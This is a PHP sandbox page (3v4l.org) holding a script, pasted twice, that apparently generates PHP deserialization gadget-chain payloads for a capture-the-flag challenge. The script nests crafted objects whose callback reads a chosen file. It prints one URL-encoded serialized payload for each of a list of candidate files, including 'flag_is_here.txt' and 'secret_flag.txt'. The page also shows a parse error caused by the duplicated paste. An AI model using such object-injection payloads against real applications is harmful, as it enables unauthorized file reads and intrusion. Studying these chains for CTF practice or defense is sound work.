3v4l.org

run code in 500+ PHP versions simultaneously
<?php class RitualEngine { protected $settings; public $target; public $callback; } class Keystone { public $center; } class GateSentinel { public $object; public $tool; } $filenames = [ 'awakening.txt', 'mechanism.txt', 'chamber.txt', 'sequence.txt', 'tomb.txt', 'grave.txt', 'keystone.txt', 'gatesentinel.txt', 'ritual.txt', 'chronicle.txt', 'runescribe.txt', 'altar.txt', 'relic.txt', 'flag_is_here.txt', 'secret_flag.txt' ]; foreach ($filenames as $f) { $D = new RitualEngine(); $D->target = $f; $C = new RitualEngine(); $C->callback = serialize([$D, 'view']); $K = new Keystone(); $K->center = $C; $B = new GateSentinel(); $B->object = 'nothing'; $B->tool = ['blade' => $K]; $A = new GateSentinel(); $A->object = $B; echo "'$f' => '" . urlencode(serialize($A)) . "',\n"; }<?php class RitualEngine { protected $settings; public $target; public $callback; } class Keystone { public $center; } class GateSentinel { public $object; public $tool; } $filenames = [ 'awakening.txt', 'mechanism.txt', 'chamber.txt', 'sequence.txt', 'tomb.txt', 'grave.txt', 'keystone.txt', 'gatesentinel.txt', 'ritual.txt', 'chronicle.txt', 'runescribe.txt', 'altar.txt', 'relic.txt', 'flag_is_here.txt', 'secret_flag.txt' ]; foreach ($filenames as $f) { $D = new RitualEngine(); $D->target = $f; $C = new RitualEngine(); $C->callback = serialize([$D, 'view']); $K = new Keystone(); $K->center = $C; $B = new GateSentinel(); $B->object = 'nothing'; $B->tool = ['blade' => $K]; $A = new GateSentinel(); $A->object = $B; echo "'$f' => '" . urlencode(serialize($A)) . "',\n"; }
Output for 8.3.0 - 8.3.30, 8.4.1 - 8.4.18, 8.5.0 - 8.5.3
Parse error: syntax error, unexpected token "<", expecting end of file in /in/1i3OM on line 19
Process exited with code 255.

preferences:
43.62 ms | 706 KiB | 3 Q